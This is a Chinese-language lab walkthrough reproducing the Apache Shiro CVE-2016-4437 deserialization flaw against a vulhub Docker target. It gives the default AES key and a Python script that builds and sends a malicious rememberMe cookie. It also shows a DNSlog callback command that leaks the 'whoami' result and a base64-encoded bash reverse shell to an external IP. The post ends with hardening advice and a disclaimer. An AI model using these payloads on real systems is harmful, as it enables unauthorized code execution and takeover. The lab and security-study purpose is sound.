apache_shiro (CVE-2016-4437)反序列化漏洞复现
漏洞简介
apache shiro 是什么?
apache shiro是一个简洁的用于身份认证,授权管理,会话管理的组件.
漏洞背景及影响版本
Apache Shiro 1.2.4及之前版本默认使用硬编码的AES加密密钥,攻击者可以爆破默认密钥,构造恶意序列化数据,通过shiro的RememberMe触发反序列化,从而导致远程代码执行,后续版本移除了默认密钥,但是如果开发者泄露了密钥,也是容易造成漏洞的
漏洞原理
Shiro的RemeberMe功能是保存用户登录信息的,在其处理数据的过程存在反序列化用户数据
RemeberMe的cookie生成逻辑:
- 序列化用户信息
- AES加密用户序列化数据(AES是对称加密,加解密密钥相同)
- Base64编码数据
最终生成RemeberMe的cookie数据
在服务端处理cookie时,采用的是倒过来的 Base64解码->AES解密->反序列化
从过程中,我们可以发现,只要攻击者拿到了AES加密密钥,就可以控制反序列化的数据,从而造成RCE,又因为在老版本的apache shiro使用的是默认密钥,如果没有修改,就会造成危害
漏洞复现
1.靶场搭建
准备好docker
- 靶机环境(使用 vulhub靶场):
克隆vulhub仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
到漏洞地址
cd vulhub/shiro/CVE-2016-4437
拉取镜像
docker-compose up -d
拉取失败的可以使用这个仓库的镜像源配置工具:
git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker-proxy.sh
再拉取
docker-compose up -d
使用docker ps查看镜像是否运行
访问:http://靶机IP:8080
![![[Pasted image 20251231135714.png]]](https://i-blog.csdnimg.cn/direct/a5fea56609574ecbb675bdbc404ae272.png)
2.漏洞复现
1.手工复现
- 检测Shiro框架
随便输入数据,勾选remeber me,观察响应包头的cookei,是否有rememberMe
![![[Pasted image 20251231140804.png]]](https://i-blog.csdnimg.cn/direct/fdcb8d60443043b68a2a1fddfca2ad85.png)
观察使用了shiro组件
2. 脚本爆破shiro密钥
基本原理是,使用以上的加密逻辑,在请求包的cookie中添加一条rememberMe=xxx的数据
观察响应包,如果存在Set-Cookie里面有rememberMe=deleteMe,就说明是存在shiro漏洞,但是不知道密钥是否正确
注意:显示deleteMe不一定说明密钥错误
判断密钥:
- 使用工具生成序列化数据命令,执行访问
dnslog查看是否回显判断 - 构造poc将密钥正确和密钥错误两种情况分开,正确时不返回
deleteMe,错误时返回
使用这个工具爆破:ShiroKeyCheck
获取正确的key后,需要通过构造反序列化利用链工具,生成恶意的已经序列化的payload,将payload通过一系列加密编码:AES->Base64
设置到数据包头部的cookie里面的RememberMe参数
使用yakit生成payload:
![![[Pasted image 20251231163435.png]]](https://i-blog.csdnimg.cn/direct/8047031b1499433a825bd339e999a708.png)
将base64数据替换
import base64
import os
from Crypto.Cipher import AES
import requests# ysoserial 生成的 base64 编码 payload
payload_base64 = ''# 解码成二进制
serialized_payload = base64.b64decode(payload_base64)# Shiro 默认密钥
default_key = 'kPH+bIxk5D2deZiIxcaaaA=='#加密payload
def generate_payload(key_base64, payload_bytes):"""使用指定密钥加密 payload,返回 rememberMe cookie 值(字符串)"""key = base64.b64decode(key_base64)# 随机 IV(Shiro 实际也是随机 IV,然后 IV + ciphertext 一起 base64)iv = os.urandom(16)cipher = AES.new(key, AES.MODE_CBC, iv)# PKCS7 paddingpadding_len = 16 - (len(payload_bytes) % 16)padded_payload = payload_bytes + bytes([padding_len]) * padding_len# 加密encrypted = cipher.encrypt(padded_payload)# IV + 密文,然后 base64 编码rememberMe = base64.b64encode(iv + encrypted).decode('utf-8')return rememberMe#发送数据包,检测漏洞
def check_vuln(target_url, key_base64):"""发送带 rememberMe cookie 的请求,检查是否触发漏洞"""rememberMe_value = generate_payload(key_base64, serialized_payload)response = requests.get(target_url, cookies={'rememberMe': rememberMe_value}, allow_redirects=True)set_cookie = response.headers.get('Set-Cookie', '')print(f"[*] Response Code: {response.status_code}")print(f"[*] Set-Cookie: {set_cookie}")cookie=response.headersprint(f"[*] Cookie: {cookie}")# 如果出现 deleteMe,说明反序列化可能执行成功if 'deleteMe' in set_cookie:print("[+] 漏洞存在!")return Trueelse:print("[-] 未触发 deleteMe,可能密钥错误或不存在漏洞")return False# 主执行
if __name__ == '__main__':target = 'http://192.168.41.128:8080/doLogin'print("[*] 使用默认密钥测试 Shiro 反序列化漏洞...")check_vuln(target, default_key)
测试命令
ping `whoami`.ajaldlbrte.zaza.eu.org
回显成功
![![[Pasted image 20251231163836.png]]](https://i-blog.csdnimg.cn/direct/988fdaf632844685a5c23a6bdd68d76c.png)
反弹shell
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ==}|{base64,-d}|bash"

2.工具梭哈
- 设置url
- 爆破密钥
- 爆破利用链
- 命令执行
![![[Pasted image 20251231164154.png]]](https://i-blog.csdnimg.cn/direct/37313bffc0304d5ca8ad3975a495b0d5.png)
防御建议
- 升级Shiro版本:至少升级至1.8.0,默认禁用旧版AES-CBC模式,改用AES-GCM。
- 配置强密钥:在
shiro.ini中自定义密钥,避免使用公开泄露值 - 禁用或谨慎使用 RememberMe
shiro.ini
securityManager.rememberMeManager = null
免责声明
本文档([[apache_shiro (CVE-2016-4437)反序列化漏洞复现]])所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的。
严禁在未获得明确授权的情况下,对任何系统进行测试或攻击。任何不当使用所导致的法律责任及后果,均由使用者自行承担。
作者与文档提供者不承担任何因滥用本文档信息而产生的直接或间接责任。请遵守您所在地的法律法规,并始终践行负责任的网络安全实践。